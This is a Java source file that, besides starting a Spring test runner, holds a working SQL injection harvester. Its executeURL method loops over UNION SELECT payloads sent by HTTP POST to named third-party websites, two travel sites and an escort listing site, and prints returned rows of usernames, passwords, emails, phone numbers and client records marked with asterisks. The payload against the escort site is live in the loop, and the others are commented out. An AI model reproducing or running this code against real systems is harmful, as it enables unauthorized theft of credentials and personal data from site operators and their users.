/**
 *
 */
package com.angel;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;

import javax.mail.MessagingException;

import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpStatus;
import org.apache.commons.httpclient.URIException;
import org.apache.commons.httpclient.methods.PostMethod;

import com.angel.architecture.BaseArchitectureTestCase;
import com.angel.architecture.runner.ApplicationProcessRunner;
import com.angel.architecture.spring.ApplicationContextSpring;
import com.angel.mocks.architecture.executable.DataGeneratorExecutable;

/**
 * @author Admin
 *
 */
public class ApacheHTTP {

	/**
	 * @param args
	 * @throws MessagingException
	 * @throws IOException
	 * @throws URISyntaxException
	 */
	public static void main(String[] args) throws MessagingException, IOException, URISyntaxException {
		ApplicationContextSpring a = ApplicationContextSpring.createInstance(BaseArchitectureTestCase.getTestApplicationContextFiles()).prepareApplicationContext();
		ApplicationProcessRunner applicationProcessRunner = a.getApplicationProcessRunner();
		applicationProcessRunner.addExecutable(new DataGeneratorExecutable());
		applicationProcessRunner.run();

//		Enumeration<URL> urls = Context.class.getClassLoader().getResources("");
//		while(urls.hasMoreElements()){
//			URL url = urls.nextElement();
//			System.out.println("URL: " + url.getFile());
//			System.out.println("URL: " + url.toURI().toASCIIString());
//		}
//		TypeInferencer typeInferencer = new TypeInferencer(ApacheHTTP.class.getClassLoader(), new ArrayList<String>());
//		List<Class<?>> classes = typeInferencer.getClassesFor("com.angel.*");
		//executeURL();
	}

	protected static void executeURL() throws URIException {
		/*
		 *
		 * http://www.cubatravel.cu/client/products/products.php?id=-1 union all select concat(user_id), concat(0x2a,0x2a,0x2a,0x2a,0x2a,0x2a,user_login,0x3a,user_password,0x3a,user_fullname,0x3a,user_email,0x2a,0x2a,0x2a,0x2a,0x2a,0x2a) from cubatravel.users limit 0,11
		 *
		 */
		int limitNumber = 0;
		for(int i = 0;i < 100;i++){
			/*if(limitNumber < 3){
				executeMethod("http://www.viajeaargentina.com/regiones.php?rubro=1 and 1 = 0 union all select 1,2,concat(0x2a,0x2a,0x2a,0x2a,0x2a,0x2a,email,0x3a,direccion,0x3a,idcliente,0x3a,contacto,0x3a,empresa,0x3a,telefono,0x3a,usuario,0x3a,password,0x3a,enviarstats,0x3a,activo,0x2a,0x2a,0x2a,0x2a,0x2a,0x2a),4,5,6,7,8,9,10,11,12 from clientes limit " + limitNumber +  ",10--", "", "");
			}
			if(limitNumber < 10829){
				executeMethod("http://www.viajeaargentina.com/regiones.php?rubro=1 and 1 = 0 union all select 1,2,concat(0x2a,0x2a,0x2a,0x2a,0x2a,0x2a,id,0x3a,nombre,0x3a,empresa,0x3a,direccion,0x3a,telefono,0x3a,email,0x3a,web,0x3a,region,0x3a,rubro,0x3a,ampliafotos,0x3a,link,0x3a,linkvisible,0x3a,orden,0x3a,sendstat,0x3a,promo,0x3a,vencepromo,0x3a,tiposervicios,0x3a,vista,0x3a,activo,0x3a,0x3a,0x2a,0x2a,0x2a,0x2a,0x2a,0x2a),4,5,6,7,8,9,10,11,12 from comercios limit " + limitNumber +  ",10--", "", "",0);
			}*/
			executeMethod("http://www.microcentrovip.com.ar/index2.php?o=DE&id=173 and 1 = 0 union all select 1,2,3,concat(0x2a,0x2a,0x2a,0x2a,0x2a,0x2a,id,0x3a,escTipo,0x3a,escNombre,0x3a,escViajes,0x3a,escActiva,0x3a,escCabello,0x3a,escMedidas,0x3a,escViajes,0x3a,escIdiomas,0x3a,0x3a,escHorarios,0x3a,zonaID,0x3a,escEmail,0x3a,escActiva,0x3a,escDatos,0x3a,escFotoReal,0x3a,escHome1,0x3a,escHome2,0x2a,0x2a,0x2a,0x2a,0x2a,0x2a),5,6,7,8,9,10,11,12,13,14,15,16 from escorts limit " + limitNumber + ",10--","","",0);
			//executeMethod("http://www.cubatravel.cu/client/products/products.php?id=-1%20union%20all%20select%20concat(user_id),%20concat(0x2a,0x2a,0x2a,0x2a,0x2a,0x2a,user_login,0x3a,user_password,0x3a,user_fullname,0x3a,user_email,0x2a,0x2a,0x2a,0x2a,0x2a,0x2a)%20from%20cubatravel.users%20limit%20" + limtNumber +  ",12--", "", "");
			limitNumber++;
		}
	}

	private static void executeMethod(String url, String parameterName, String parameterValue, int counterError) throws URIException {
		HttpClient  client = new HttpClient();
	    //client.getParams().setParameter("http.useragent", "Test Client");
	    BufferedReader br = null;
	    //GetMethod getMethod = new GetMethod(url);
	    PostMethod method = new PostMethod(url);
	    //System.out.println(url);

	    try{
	    	//int getReturnCode = client.executeMethod(getMethod);
	      int returnCode = client.executeMethod(method);

	      if(returnCode == HttpStatus.SC_NOT_IMPLEMENTED) {
	        System.err.println("The Post method is not implemented by this URI");
	        // still consume the response body
	        method.getResponseBodyAsString();
	      } else {
	        br = new BufferedReader(new InputStreamReader(method.getResponseBodyAsStream()));
	        String readLine;
	        //String lineFound = method.getResponseBodyAsString();
	        //int i = lineFound.indexOf("******");
	        while(((readLine = br.readLine()) != null)) {
	        	if(readLine.contains("**")){
	        		//lineFound = readLine;
	        		//if(lineFound != null && readLine != null && lineFound.equals(readLine)){
		        		System.err.println(readLine);
	        		//}
	        	}
	        }
	      }
	    } catch (Exception e) {
	    	if(counterError < 10){
	    		//System.err.println("Error numero: " + counterError);
	    		executeMethod(url, parameterName, parameterValue, counterError++);
	    	} else {
	    		//System.err.println(e);
	    	}
	    } finally {
	      method.releaseConnection();
	      if(br != null) try { br.close(); } catch (Exception fe) {}
	    }
	}

}
